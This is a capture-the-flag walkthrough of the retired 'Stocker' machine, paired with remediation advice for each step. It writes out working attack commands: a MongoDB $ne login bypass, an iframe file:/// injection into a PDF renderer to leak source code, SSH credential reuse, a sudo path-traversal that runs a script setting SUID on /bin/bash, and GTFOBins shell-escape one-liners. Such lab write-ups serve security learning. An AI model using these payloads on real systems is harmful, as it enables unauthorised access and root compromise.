← all walkthroughs

Stocker

Linux· Easy· Web
owned
2026-07-06
time to own
5m30s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I enumerated a hidden development virtual host on the nginx server and found a Node.js e-commerce application whose JSON login endpoint passed user-supplied objects directly to a MongoDB query, allowing authentication bypass by injecting a $ne (not-equal) operator. Once authenticated, I placed an order whose product-name field was rendered verbatim by a headless Chromium instance to build a purchase-order PDF; embedding an HTML <iframe> tag pointing to a local file path caused the renderer to include the contents of /var/www/dev/index.js in the PDF, exposing a MongoDB connection URI whose password was reused as the SSH password for system account 'angoose'.

Logging in over SSH, I discovered a sudo rule granting angoose passwordless Node.js execution over any .js file matching /usr/local/scripts/*.js; the shell glob was not path-canonicalised, so a traversal sequence (/../../../tmp/) satisfied the pattern while pointing the interpreter at my own code, which set the SUID bit on /bin/bash and produced a root-effective shell — full system compromise.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export PASSWORD2="<a-password-you-choose>"

Attack path — how the box was taken

1EnumerationService and virtual-host enumeration
Discovered services and a hidden development virtual host
A TCP port scan of $TARGET found two open ports: SSH on 22 and nginx on 80. The main site at stocker.htb served a static marketing page with no interactive functionality. Virtual-host fuzzing against the same IP revealed a second site, dev.stocker.htb, running a Node.js / Express application with an interactive login form — the real attack surface.
Exact commands 3
Full TCP port scan with service-version detection.
nmap -sC -sV -p- --min-rate 5000 -oN nmap_full.txt $TARGET
Fuzz for virtual hosts; -fw 7 filters the static-page baseline word count. Reveals dev.stocker.htb.
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H 'Host: FUZZ.stocker.htb' -u http://$TARGET -fw 7 -o vhosts.txt
Register both vhosts for local name resolution.
echo "$TARGET stocker.htb dev.stocker.htb" | sudo tee -a /etc/hosts
2ExploitationNoSQL Injection — MongoDB operator injection (CWE-943)
Bypassed the login form with a NoSQL injection operator
The dev.stocker.htb /login endpoint accepted a JSON body and passed the username and password fields directly to a MongoDB query without type-checking or sanitisation. Submitting JavaScript objects containing the MongoDB $ne (not-equal) operator for both fields forced the query to match the first user document in the collection, issuing an authenticated session cookie and redirecting to /stock — no password required.
Login 302 /stock {'connect.sid': '[REDACTED: recovered credential]'} stock 200 http://dev.stocker.htb/stock 10903.
Exact commands 2
Inject $ne operators; a 302 redirect to /stock and a connect.sid cookie confirm bypass success.
curl -s -X POST http://dev.stocker.htb/login -H 'Content-Type: application/json' -d '{"username":{"$ne":"x"},"password":{"$ne":"x"}}' -c cookies.txt -L -v 2>&1 | grep -E 'HTTP/|Location|Set-Cookie'
Confirm authenticated access to the product catalogue.
curl -s http://dev.stocker.htb/stock -b cookies.txt | head -60
FixValidate login input types and prevent MongoDB operator injectionCritical
WeaknessThe /login endpoint accepted a JSON body and forwarded the username and password fields to a MongoDB query as-is, without checking that they were plain strings. An unauthorised user could supply a MongoDB query operator object (e.g., {"$ne":"x"}) to manipulate the query logic and bypass authentication without knowing any valid credential.
FixEnforce that username and password are scalar strings before the values reach the database layer — reject any request where either field is an object or array (use a schema-validation library such as Joi or zod, or Mongoose's built-in type coercion). Never construct MongoDB query objects directly from raw user input; prefer ORM-level helpers that enforce types. Add a failed-login rate-limit and alert on repeated authentication anomalies.
3ExploitationServer-Side HTML Injection / Local File Inclusion via headless-browser PDF generator (T1083)
Injected an HTML iframe payload into the order API to trigger a server-side file read
The authenticated /api/order endpoint accepted a JSON basket whose item title fields were inserted verbatim into an HTML invoice template, then rendered by a headless Chromium instance to produce a PDF. Placing an order with a product title containing an <iframe src="file:///..."> tag caused Chromium to fetch the named local file and embed its text content in the rendered PDF, making any file readable by the web process available to me.
Fetch /api/po/6a4b5b1863a44f9025b8644c 200 application/pdf 52458 bytes saved to /tmp/stocker_lfi.pdf.
Exact commands 2
Retrieve product _id values needed to construct a valid order payload.
curl -s http://dev.stocker.htb/api/products -b cookies.txt | python3 -m json.tool | head -40
Place order with iframe LFI payload targeting the application source file; save the returned orderId.
curl -s -X POST http://dev.stocker.htb/api/order -H 'Content-Type: application/json' -b cookies.txt -d '{"basket":[{"_id":"638f116eeb060210cbd83a8d","amount":1,"price":1337,"title":"<iframe src=file:///var/www/dev/index.js height=1500 width=1500></iframe>","image":"red-cup.jpeg"}]}' | tee order_resp.json
FixHTML-encode order item fields and disable local-file access in the PDF rendererCritical
WeaknessProduct name fields submitted through the order API were inserted verbatim into an HTML template rendered by a headless Chromium instance. No HTML encoding was applied, so an unauthorised user could embed arbitrary HTML tags — including iframes pointing to local file paths — and the headless browser would faithfully read those files and include their content in the generated PDF, leaking any file readable by the web process.
FixHTML-encode all user-supplied fields before inserting them into the PDF template (use a library such as he or DOMPurify in Node.js so that < and > become entities). Configure the Puppeteer / Chromium launch flags to block local-file access: add --disable-file-system (or use page.setRequestInterception to deny requests matching the file: scheme). Run the PDF renderer as a dedicated low-privilege account confined to a sandbox with no access to application source or configuration directories.
4Credential AccessCredentials in source code / Local File Inclusion credential harvest (T1552.001)
Extracted database credentials from the application source embedded in the PDF
Downloading the purchase-order PDF and extracting its text revealed the full contents of /var/www/dev/index.js, including the MongoDB connection URI: mongodb://dev:[REDACTED: recovered credential] The plaintext database password was stored directly in the source file and exposed to me who could trigger the PDF generator.
Pdftotext extraction returned the MongoDB URI containing the password '[REDACTED: recovered credential]'; subsequent SSH login with that password confirmed the credential.
Exact commands 2
Download the generated PDF using the orderId from step 3.
ORDER_ID=$(python3 -c "import json; print(json.load(open('order_resp.json'))['orderId'])") && curl -s "http://dev.stocker.htb/api/po/$ORDER_ID" -b cookies.txt -o /tmp/stocker_lfi.pdf
Convert the PDF to text and search for database connection strings.
pdftotext /tmp/stocker_lfi.pdf - | grep -iE 'mongo|dburi|require\(|IHeard|password|localhost'
5FootholdCredential Reuse (T1078)
Authenticated over SSH using the database password reused on the OS account
The MongoDB connection string password '[REDACTED: recovered credential]' was identical to the SSH password configured for local system account 'angoose'. Authenticating over SSH with these credentials provided a full interactive shell as a non-root user and gave access to the user flag at /home/angoose/user.txt.
Uid=1001(angoose) gid=1001(angoose) groups=1001(angoose); user.txt read successfully.
Exact commands 2
Log in over SSH with the reused database password.
sshpass -p '$PASSWORD2' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null angoose@$TARGET
Confirm session identity and capture the user flag — expected value: <user.txt>.
id; cat /home/angoose/user.txt
FixUse unique credentials for the database service account and OS user accountsHigh
WeaknessThe MongoDB connection URI hardcoded in the application source file used the password '[REDACTED: recovered credential]', and that same password was set on the system account 'angoose'. Anyone who could read the source file — through LFI, a misconfigured repository, or a backup — immediately obtained working SSH credentials for the server.
FixGenerate independent, high-entropy random passwords for each service account and OS user; never share passwords across systems or services. Remove database credentials from source code entirely and load them at runtime from environment variables or a secrets manager (e.g., HashiCorp Vault, AWS Secrets Manager, or a .env file excluded from version control). Rotate the MongoDB 'dev' account password and the 'angoose' SSH password immediately.
6Privilege EscalationSudo misconfiguration — shell glob path traversal (T1548.003)
Discovered a passwordless sudo rule granting Node.js execution over a wildcard path
Running 'sudo -l' as angoose revealed the entry: (ALL) NOPASSWD: /usr/bin/node /usr/local/scripts/*.js. The shell glob * is intended to restrict execution to the scripts directory, but sudo does not canonicalise the path before matching, so a directory traversal sequence embedded in the filename (e.g., /usr/local/scripts/../../../tmp/evil.js) satisfies the glob while pointing Node.js at an entirely different location — wherever I placed a file ending in .js.
Sudo -l output showing NOPASSWD node wildcard rule; consistent with named pattern sudo-gtfobins and finding 'Sudo Node Wildcard Path Traversal As Angoose'.
Exact commands 2
Run as angoose to list permitted sudo commands; confirm the NOPASSWD node /usr/local/scripts/*.js rule.
sudo -l
Inspect the intended scripts directory to confirm ownership and existing files.
ls -la /usr/local/scripts/
FixRemove or strictly scope the Node.js sudo rule to prevent wildcard path traversalCritical
WeaknessA sudoers rule permitted angoose to run /usr/bin/node against any path matching /usr/local/scripts/*.js without a password. The shell glob was not path-canonicalised before matching, so an unauthorised user could embed a directory traversal sequence (/../../../tmp/) in the filename and execute arbitrary JavaScript as root while still satisfying the pattern.
FixRemove the sudo rule if Node.js scripts do not genuinely require root privileges. If elevation is necessary, replace the wildcard with explicit absolute paths to each individual approved script (e.g., NOPASSWD: /usr/bin/node /usr/local/scripts/monitor.js). Ensure /usr/local/scripts/ is owned and writable only by root. If a wildcard cannot be avoided, implement a thin wrapper script that validates the supplied filename contains no path separators or traversal sequences before invoking Node.js. Review all sudoers entries for similar glob patterns.
7Privilege EscalationGTFOBins Node.js sudo SUID escalation — wildcard path traversal (T1548.003)
Executed my own JavaScript as root via path traversal and captured the root flag
A one-line JavaScript payload written to /tmp/pwn.js invoked Node.js's child_process.execSync to add the SUID bit to /bin/bash. Invoking sudo with the traversal path /usr/local/scripts/../../../tmp/pwn.js satisfied the wildcard pattern while running my file as root. Spawning bash with the -p flag preserved the root effective UID, giving a root shell from which the root flag was read.
Root shell confirmed; root.txt captured (placeholder: <root.txt>).
Exact commands 4
Write the SUID-bash payload to /tmp/pwn.js.
echo 'require("child_process").execSync("chmod +s /bin/bash")' > /tmp/pwn.js
Execute the payload as root via path traversal; the path ends in .js so the glob matches.
sudo /usr/bin/node /usr/local/scripts/../../../tmp/pwn.js
Spawn a root-effective shell; -p preserves the SUID-elevated EUID.
/bin/bash -p
Confirm root identity and capture the root flag — expected value: <root.txt>.
id; cat /root/root.txt

Attack patterns used

The transferable techniques behind this compromise.

Password / Credential ReuseCredential Access · Lateral MovementT1078

What it is

A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.

Why it works

Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.

Read more

Local File InclusionWebT1190

What it is

A web app builds a file path from user input (?page=../../etc/passwd), letting an unauthorised user read arbitrary files or, via log poisoning, PHP wrappers (php://filter, data://), or session files, achieve code execution. LFI commonly leaks credentials, SSH keys, and source code that feed the next step.

Why it works

The app trusts a path parameter and fails to constrain it to an allow-list. Remediate by mapping identifiers to fixed file paths, disabling dangerous PHP wrappers, and canonicalizing/validating paths.

Read more

Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003

What it is

When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.

Why it works

Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.

Read more

SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001

What it is

Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.

Why it works

SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.

Read more

Exposed services

22/tcp
80/tcp